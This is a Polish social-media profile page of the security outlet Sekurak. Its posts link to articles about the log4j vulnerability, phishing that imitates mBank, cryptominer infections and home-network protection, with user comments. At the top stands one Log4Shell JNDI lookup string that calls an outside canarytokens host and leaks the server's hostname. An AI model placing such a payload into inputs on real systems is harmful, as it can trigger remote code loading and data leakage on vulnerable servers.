sekurak
  • 7
${jndi:ldap://x${hostName}.L4J.25obcn7fccfmd1nh0rq6z8ky3.canarytokens.com/a}
  • 2
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
e.....a
e.....a
  • 0
@sekurak: spieprzył sprawę jak powiedział że córka (chyba bo słabo słychać) nie może podejść do telefonu bo zmienia wnuczce pampersa a przecież to właśnie "wnuczka" dzwoni w sprawie wypadku. Trochę ciężko jest mieć wnuki między którymi jest jakieś 20 lat różnicy. Tak czy inaczej w połowie rozmowy wbiegł dzieciak krzycząc "dziadek do kogo dzwonisz" i spalił całą akcję. Szkoda
  • Odpowiedz
sekurak
  • 7
Podatność w serwerach (i klientach) Minecraft – przez wpisanie exploita na chacie można przejąć serwer oraz innych graczy ;-/

aka tylko demonstracja możliwości najnowszej podatności w log4j, CVE-2021-44228

https://sekurak.pl/podatnosc-w-serwerach-minecraft-wpisujesz-exploita-na-chacie-i-przejmujesz-serwer-oraz-innych-graczy-log4j-cve-2021-44228/

#sekurak #minecraft #bezpieczenstwo #java #programowanie #security
sekurak - Podatność w serwerach (i klientach) Minecraft – przez wpisanie exploita na ...

źródło: comment_1639151906RcVxbUUk7l8p9pIkK9d6my.jpg

Pobierz
  • 3
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
Whipie
  • 0
@lovox: Podatna jest biblioteka więc wystarczy wykonywać analizę komponentów. Czyli generujesz SBOMy i ładujesz je do odpowiedniego narzędzia, np. https://dependencytrack.org/. Z tego co widzę CVE nie ma jeszcze ustawionych CPE więc alertu byś nie dostał. Natomiast narzędzie agreguje wszystkie użycia biblioteki więc wystarczyłoby wpisać "log4j" w wyszukiwarce i miałbyś listę podatnych projektów.
  • Odpowiedz
sekurak
  • 31
Krytyczna podatność w bibliotece log4j – łatajcie, bo zaczęło się masowe exploitowanie.

Wg relacji podatne są również (oczywiście) biblioteki czy rozwiązania wykorzystujące Apache log4j (mowa jest m.in. o Steam, iCloud czy serwerach Minecraft).

https://sekurak.pl/krytyczna-podatnosc-w-log4j-latajcie-bo-zaczelo-sie-masowe-exploitowanie/

#programowanie #bezpieczenstwo #java #sekurak #security
sekurak - Krytyczna podatność w bibliotece log4j – łatajcie, bo zaczęło się masowe ex...

źródło: comment_1639122082K5NIwxEeWLib2lS1n7Jh4C.jpg

Pobierz
  • 7
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
sekurak
  • 13
Sprytny sposób na infekcje komputerów wystawianych na polskich aukcjach. Kopią kryptowaluty.

[nie wchodźcie przypadkiem na link widoczny na zrzucie ekranowym]

https://sekurak.pl/sprytny-sposob-na-kopanie-kryptowalut-infekcja-na-gamingowych-komputerach-osob-wystawiajacych-sprzet-na-polskich-aukcjach/

#sekurak #allegro #gaming #technologia #bezpieczenstwo #laptopy
sekurak - Sprytny sposób na infekcje komputerów wystawianych na polskich aukcjach. Ko...

źródło: comment_1638784049lN8qdL7mXz3CHWX5yRL1Q6.jpg

Pobierz
  • 5
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
brakloginuf
  • 6
@EpicElion: nie no, samo wejscie nie, bez przesady - wtedy to bylaby krytyczna luka bezpieczenstwa. Samemu trzeba zainstalowac/uruchomic aplikacje wczesniej pobrana ;) jak zawsze, stad zdumiewjace sie ze nadal sa tacy co lapia sie na odpalanie pobranych aplikacji czy "doplacanie" do rachunku linkiem z smsa.
  • Odpowiedz
Djelon
  • 4
@sekurak: Airtag ma zabezpieczenie przed śledzeniem tzn. jeżeli masz srajfona, to pokaże ci że nie twój tag cię śledzi.

A z tego co widziałem, to ludzi używają ich do odwrotnego celu, czyli zabezpieczenia swojej własności, np hulajnóg albo samochodów.
  • Odpowiedz
sekurak
  • 406
Uwaga na oszustwo niemal perfekcyjnie podszywające się pod mBank. Widzicie tę nieco nietypową literę a ?
Nie dajcie się nabrać! W poście też link sprawdzający, czy Wasza przeglądarka jest odporna na takie oszustwo:

https://sekurak.pl/uwaga-na-oszustwo-niemal-perfekcyjnie-podszywajace-sie-pod-mbank/

#sekurak #mbank #bezpieczenstwo #oszukujo #oszustwo #przegladarki
sekurak - Uwaga na oszustwo niemal perfekcyjnie podszywające się pod mBank. Widzicie ...

źródło: comment_1638189775XJIaWHqUk5xCJnOC6krs8a.jpg

Pobierz
  • 29
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
sekurak
  • 8
Uruchomili dawną elektrownię węglową żeby kopać Bitcoiny. Spółka w 3 miesiące ukopała za ~160 000 000 zł
Ekologowie czy "ekologowie" dostają gęsiej skórki. Co na to sama firma?

https://sekurak.pl/uruchomili-elektrownie-weglowa-zeby-kopac-bitcoiny-w-3-miesiace-ukopali-za-160-000-000-zl/

#sekurak #bitcoin #ciekawostki
sekurak - Uruchomili dawną elektrownię węglową żeby kopać Bitcoiny. Spółka w 3 miesią...

źródło: comment_1638122118rSyaYYvO0W4loWxMu2PEw3.jpg

Pobierz
  • 9
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
sekurak
  • 1063
Ciekawostka.Badacze przygotowali appkę wykrywającą ukryte szpiegowskie kamery ze skutecznością ~90%
Skanują pomieszczenie czujnikiem ToF (dostępnym w niektórych smartfonach) i otrzymują info gdzie są rozmieszczone ukryte kamery.

https://sekurak.pl/badacze-przygotowali-appke-wykrywajaca-ukryte-szpiegowskie-kamery-ze-skutecznoscia-90/

#sekurak #ciekawostki #technologia #bezpieczenstwo
sekurak - Ciekawostka.Badacze przygotowali appkę wykrywającą ukryte szpiegowskie kame...

źródło: comment_16373393124wqNPsByN20Zrumru9QuuU.jpg

Pobierz
  • 36
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
prestuga
prestuga
  • 141
z tym porównaniem opłacalności przy $900 i $4000 to trochę nie tak. W międzyczasie bardzo wzrasta też trudność kopania/wysokość nagrody.
  • Odpowiedz
sekurak
  • 10
Zabezpieczamy domową sieć przed stronami wyłudzającymi od nas dane (konfiguracja Pi-Hole).

(jeśli ktoś przeoczył ten sekurakowy poradnik, to jest szansa nadrobić zaległości :)

https://sekurak.pl/zabezpieczamy-domowa-siec-przed-stronami-wyludzajacymi-od-nas-dane-konfiguracja-pi-hole/

#sekurak #bezpieczenstwo #technologia #raspberrypi
sekurak - Zabezpieczamy domową sieć przed stronami wyłudzającymi od nas dane (konfigu...

źródło: comment_1632298794GIsUjcaqFhUEheyWq4sqxU.jpg

Pobierz
  • 10
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach

Sekurak”’<

Osiągnięcia